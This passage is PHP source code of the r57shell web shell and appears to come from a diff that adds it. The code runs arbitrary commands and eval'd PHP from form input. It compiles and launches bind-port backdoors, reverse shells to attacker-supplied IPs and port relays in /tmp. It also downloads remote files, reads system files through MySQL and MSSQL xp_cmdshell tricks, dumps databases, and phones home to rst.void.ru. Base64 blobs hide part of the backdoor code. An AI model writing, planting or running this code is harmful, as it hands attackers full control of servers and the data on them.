+yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"http://rst.void.ru/r57shell_version/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("http://rst.void.ru/r57shell_version/version.php?version=".$current_version."");}} +echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td bgcolor=#333333 width=160><font face=Verdana size=2>'.ws(1).'&nbsp; +<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> +</font></td><td bgcolor=#333333><font face=Verdana size=-2>'; +echo ws(2); +echo "<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2); +echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); +echo ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if(!$windows){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +$id = ex('id'); +echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); +echo ws(3).$dir; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@get_current_user()."<br>"; +echo ws(3).$dir."<br>"; +echo "</font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(empty($c1)||empty($c2)) { die(); } +$f = '<br>'; +$f .= base64_decode($c1); +$f .= base64_decode($c2); +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file") + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + @fwrite($file,$_POST['e_text']); + @fclose($file); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -p ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=122 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if($windows){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'safe_file': + if(@is_file($_POST['file'])) + { + $file = @file($_POST['file']); + if($file) + { + $c = @sizeof($file); + for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } + } + else echo $lang[$language._text29]; + } + else echo $lang[$language._text31]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; + @mysql_query($sql); + $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; + @mysql_query($sql); + $sql = "SELECT * FROM temp_r57_table;"; + $r = @mysql_query($sql); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + + @mysql_query($sql); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")){ + $cmd_rep = ex($_POST['cmd']); + if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="db_show") + { + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mysql_query("SHOW DATABASES", $db); + while(($row=@mysql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + + $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db); + while(($row2=@mysql_fetch_row($res2))) + { + echo " | - ".$row2[0]."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db); + while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; } + } + } + } + } + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mssql_query("sp_databases", $db); + while(($row=@mssql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + @mssql_select_db($row[0]); + $res2 = @mssql_query("sp_tables",$db); + while(($row2=@mssql_fetch_array($res2))) + { + if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties') + { + echo " | - ".$row2['TABLE_NAME']."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mssql_query("sp_columns ".$row2[2],$db); + while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; } + } + } + } + } + } + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'"); + while(($row=@pg_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ + $sqh = "# homepage: http://rst.void.ru\r\n"; + $sqh .= "# ---------------------------------\r\n"; + $sqh .= "# date : ".date ("j F Y g:i")."\r\n"; + $sqh .= "# database : ".$_POST['mysql_db']."\r\n"; + $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n"; + $sqh .= "# ---------------------------------\r\n\r\n"; + switch($_POST['db']){ + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mysql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MySQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); + $row = @mysql_fetch_row($res); + $sql1 .= $row[1]."\r\n\r\n"; + $sql1 .= "# ---------------------------------\r\n\r\n"; + $sql2 = ''; + $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); + if (@mysql_num_rows($res) > 0) { + while (($row = @mysql_fetch_assoc($res))) { + $keys = @implode("`, `", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mssql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MSSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db); + if (@mssql_num_rows($res) > 0) { + while (($row = @mssql_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $sql1 = "# PostgreSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + + $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl'].""); + if (@pg_num_rows($res) > 0) { + while (($row = @pg_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } + else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in 